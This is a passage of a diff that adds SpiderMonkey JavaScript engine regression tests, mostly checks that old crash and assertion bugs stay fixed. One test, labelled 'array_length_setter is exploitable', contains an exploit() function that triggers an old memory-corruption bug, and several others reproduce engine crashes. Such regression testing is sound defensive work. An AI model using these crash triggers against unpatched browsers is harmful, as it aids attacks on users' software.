+var expect = 'No Crash';
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var width = 600;
+ var height = 600;
+
+ var img1canvas = document.createElement("canvas");
+ var img2canvas = document.createElement("canvas");
+
+ img1canvas.width = img2canvas.width = width;
+ img1canvas.height = img2canvas.height = height;
+ img1canvas.getContext("2d").getImageData(0, 0, width, height).data;
+ img2canvas.getContext("2d").getImageData(0, 0, width, height).data;
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", test, false);
diff --git a/js/src/tests/non262/extensions/regress-375183.js b/js/src/tests/non262/extensions/regress-375183.js
new file mode 100644
index 0000000000..6c351c8c79
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-375183.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375183;
+var summary = '__noSuchMethod__ should not allocate beyond fp->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = { get __noSuchMethod__() {
+ print("Executed");
+ return new Object();
+ }};
+
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':1');
+
+ obj = { __noSuchMethod__: {} };
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':2');
+
+ obj = { }
+ obj.__noSuchMethod__ = {};
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':3');
+}
diff --git a/js/src/tests/non262/extensions/regress-375344.js b/js/src/tests/non262/extensions/regress-375344.js
new file mode 100644
index 0000000000..41d9eeb15a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-375344.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375344;
+var summary = 'accessing prototype of DOM objects should throw catchable error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof HTMLElement != 'undefined')
+{
+ expect = /TypeError/;
+ try
+ {
+ print(HTMLElement.prototype.nodeName);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ print(actual);
+ }
+ reportMatch(expect, actual, summary);
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-379566.js b/js/src/tests/non262/extensions/regress-379566.js
new file mode 100644
index 0000000000..17461a49e9
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-379566.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379566;
+var summary = 'Keywords after get|set';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({' +
+ 'get in() { return this.for; }, ' +
+ 'set in(value) { this.for = value; }' +
+ '})';
+ try
+ {
+ var obj = eval('({ ' +
+ 'get in() { return this.for; }, ' +
+ 'set in(value) { this.for = value; } ' +
+ '})');
+ actual = obj.toSource();
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-380889.js b/js/src/tests/non262/extensions/regress-380889.js
new file mode 100644
index 0000000000..fedd51f01f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-380889.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380889;
+var summary = 'Source disassembler assumes SRC_SWITCH has jump table';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i)
+ {
+ switch(i){
+ case 1:
+ case xyzzy:
+ }
+ }
+
+ if (typeof dis != 'undefined')
+ {
+ dis(f);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-381303.js b/js/src/tests/non262/extensions/regress-381303.js
new file mode 100644
index 0000000000..7d113ac293
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-381303.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381303;
+var summary = 'object toSource when a property has both a getter and a setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {set inn(value) {this.for = value;}, get inn() {return this.for;}};
+ expect = '({' +
+ 'get inn() {return this.for;}' +
+ ', ' +
+ 'set inn(value) {this.for = value;}' +
+ '})';
+ actual = obj.toSource();
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-381304.js b/js/src/tests/non262/extensions/regress-381304.js
new file mode 100644
index 0000000000..168da0866c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-381304.js
@@ -0,0 +1,69 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381304;
+var summary = 'getter/setter with keywords';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj;
+
+ print('1');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = '({get inn() {return this.for;}, set inn(value) {this.for = value;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 1');
+
+ print('2');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({get in() {return this.for;}, set in(value) {this.for = value;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 2');
+
+ print('3');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({set inn(value) {this.for = value;}, get in() {return this.for;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 4');
+
+ print('4');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = '({set in(value) {this.for = value;}, get inn() {return this.for;}})';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 5');
+}
diff --git a/js/src/tests/non262/extensions/regress-385393-02.js b/js/src/tests/non262/extensions/regress-385393-02.js
new file mode 100644
index 0000000000..cb6d0c94cd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-385393-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (4).__lookupGetter__("w");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-385393-08.js b/js/src/tests/non262/extensions/regress-385393-08.js
new file mode 100644
index 0000000000..b00cafde9c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-385393-08.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ this.__proto__ = [];
+ [1,2,3,4].map.call();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-390598.js b/js/src/tests/non262/extensions/regress-390598.js
new file mode 100644
index 0000000000..d190615a18
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-390598.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'array_length_setter is exploitable';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var fun = function () {};
+ fun.__proto__ = [];
+ fun.length = 0x50505050 >> 1;
+ fun();
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-394967.js b/js/src/tests/non262/extensions/regress-394967.js
new file mode 100644
index 0000000000..a82f1f5424
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-394967.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394967;
+var summary = 'Do not assert: !vp[1].isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print('Skipping. This test requires evalcx.');
+ }
+ else
+ {
+ var sandbox = evalcx("");
+ try
+ {
+ evalcx("(1)()", sandbox);
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-396326-01.js b/js/src/tests/non262/extensions/regress-396326-01.js
new file mode 100644
index 0000000000..60913f4a42
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-396326-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f4() { let local; return local.prop };
+ dis(f4);
+ reportCompare(expect, actual, summary +
+ ': function f4() { let local; return local.prop };');
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-396326.js b/js/src/tests/non262/extensions/regress-396326.js
new file mode 100644
index 0000000000..45f3170bbb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-396326.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f1() { var v; return v.prop };
+ dis(f1);
+ reportCompare(expect, actual, summary +
+ ': function f1() { var v; return v.prop };');
+
+ function f2(arg) { return arg.prop };
+ dis(f2);
+ reportCompare(expect, actual, summary +
+ ': function f2(arg) { return arg.prop };');
+
+ function f3() { return this.prop };
+ dis(f3);
+ reportCompare(expect, actual, summary +
+ ': function f3() { return this.prop };');
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-406572.js b/js/src/tests/non262/extensions/regress-406572.js
new file mode 100644
index 0000000000..4911d05bc7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-406572.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406572;
+var summary = 'JSOP_CLOSURE unconditionally replaces properties of the variable object - Browser only';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window != 'undefined')
+{
+ try {
+ actual = "FAIL: Unexpected exception thrown";
+
+ var win = window;
+ var windowString = String(window);
+ window = 1;
+ reportCompare(windowString, String(window), "window should be readonly");
+
+ if (1)
+ function window() { return 1; }
+
+ // We should reach this line without throwing. Annex B means the
+ // block-scoped function above gets an assignment to 'window' in the
+ // nearest 'var' environment, but since 'window' is read-only, the
+ // assignment silently fails.
+ actual = "";
+
+ // The test harness might rely on window having its original value:
+ // restore it.
+ window = win;
+ } catch (e) {
+ }
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+}
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/extensions/regress-407501.js b/js/src/tests/non262/extensions/regress-407501.js
new file mode 100644
index 0000000000..267497464f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-407501.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407501;
+var summary = 'JSOP_NEWINIT lacks SAVE_SP_AND_PC ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ var a = [[[[[[[0]]]]]]];
+ if (a.toString() !== "0")
+ throw "Unexpected result";
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/extensions/regress-407720.js b/js/src/tests/non262/extensions/regress-407720.js
new file mode 100644
index 0000000000..f5b4cf0f83
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-407720.js
@@ -0,0 +1,44 @@
+// |reftest| skip slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407720;
+var summary = 'js_FindClassObject causes crashes with getter/setter - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// stop the test after 60 seconds
+var start = new Date();
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+document.write('<iframe onload="onLoad()"><\/iframe>');
+
+function onLoad()
+{
+
+ if ( (new Date() - start) < 60*1000)
+ {
+ var x = frames[0].Window.prototype;
+ x.a = x.b = x.c = 1;
+ x.__defineGetter__("HTML document.all class", function() {});
+ frames[0].document.all;
+
+ // retry
+ frames[0].location = "about:blank";
+ }
+ else
+ {
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-412926.js b/js/src/tests/non262/extensions/regress-412926.js
new file mode 100644
index 0000000000..ffb356a5f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-412926.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412926;
+var summary = 'JS_ValueToId(cx, JSVAL_NULL) should return atom for "null" string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = expect = 'No Errors';
+
+ var obj = { 'null': 1 };
+
+ var errors = [];
+
+ if (!obj.hasOwnProperty(null))
+ errors.push('null property is not owned');
+
+ if (!obj.propertyIsEnumerable(null))
+ errors.push('null property is not enumerable');
+
+ var getter_was_called = false;
+ obj.__defineGetter__(null, function() { getter_was_called = true; return 1; });
+ obj['null'];
+
+ if (!getter_was_called)
+ errors.push('getter was not assigned to the null property');
+
+ var setter_was_called = false;
+ obj.__defineSetter__(null, function() { setter_was_called = true; });
+ obj['null'] = 2;
+
+ if (!setter_was_called)
+ errors.push('setter was not assigned to the null property');
+
+ if (errors.length)
+ actual = errors.join('; ');
+
+ gc();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-414098.js b/js/src/tests/non262/extensions/regress-414098.js
new file mode 100644
index 0000000000..aa2b6e9de8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-414098.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414098;
+var summary = 'Getter behavior on arrays';
+var actual = '';
+var expect = '';
+
+var a=[1,2,3];
+var foo = 44;
+a.__defineGetter__(1, function() { return foo + 10; });
+actual = String(a);
+reportCompare("1,54,3", actual, "getter 1");
+
+actual = String(a.reverse());
+reportCompare("3,54,1", actual, "reverse");
+
+var s = "";
+a.forEach(function(e) { s += e + "|"; });
+actual = s;
+reportCompare("3|54|1|", actual, "forEach");
+
+actual = a.join(' - ');
+reportCompare("3 - 54 - 1", actual, "join");
+
+a[2]=3;
+actual = a.pop();
+reportCompare(actual, 3, "pop");
+
+actual = a.pop();
+reportCompare(actual, 54, "pop 2");
diff --git a/js/src/tests/non262/extensions/regress-414755.js b/js/src/tests/non262/extensions/regress-414755.js
new file mode 100644
index 0000000000..6d8057ceba
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-414755.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414755;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f()
+ {
+ var a = 1e10;
+ var b = 2e10;
+ var c = 3e10;
+
+ return (a*2) * ((b*2) * c);
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f();
+
+ gczeal(2);
+
+ actual = f();
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416354.js b/js/src/tests/non262/extensions/regress-416354.js
new file mode 100644
index 0000000000..e697776a9d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416354.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416354;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a, b, c)
+ {
+ return (-a) * ((-b) * (-c));
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f(1.5, 1.25, 1.125);
+ gczeal(2);
+ actual = f(1.5, 1.25, 1.125);
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416460.js b/js/src/tests/non262/extensions/regress-416460.js
new file mode 100644
index 0000000000..63ac875719
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416460.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416460;
+var summary = 'Do not assert: SCOPE_GET_PROPERTY(OBJ_SCOPE(pobj), ATOM_TO_JSID(atom))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /a/.__proto__.__proto__ = { "2": 3 };
+ var b = /b/;
+ b["2"];
+ b["2"];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416834.js b/js/src/tests/non262/extensions/regress-416834.js
new file mode 100644
index 0000000000..ffd145cf39
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416834.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416834;
+var summary = 'Do not assert: !entry || entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i)
+ delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-420869-01.js b/js/src/tests/non262/extensions/regress-420869-01.js
new file mode 100644
index 0000000000..48c3ffecdc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-420869-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420869;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i) {
+ if (i == 0)
+ return 1;
+ return i*f(i-1);
+ }
+
+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-422592.js b/js/src/tests/non262/extensions/regress-422592.js
new file mode 100644
index 0000000000..48964ad250
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-422592.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422592;
+var summary = 'js.c dis/dissrc should not kill script execution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ expect = actual = 'Test requires function dis. Not tested';
+ print(expect);
+ }
+ else
+ {
+ expect = 'Completed';
+ actual = 'Not Completed';
+ print('Before dis');
+ try
+ {
+ dis(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dis');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+
+ if (typeof dissrc == 'undefined')
+ {
+ expect = actual = 'Test requires function dissrc. Not tested';
+ print(expect);
+ }
+ else
+ {
+ print('Before dissrc');
+ expect = 'Completed';
+ actual = 'Not Completed';
+ try
+ {
+ dissrc(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dissrc');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-424683-01.js b/js/src/tests/non262/extensions/regress-424683-01.js
new file mode 100644
index 0000000000..80595f070c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-424683-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424683;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { f(); }
+
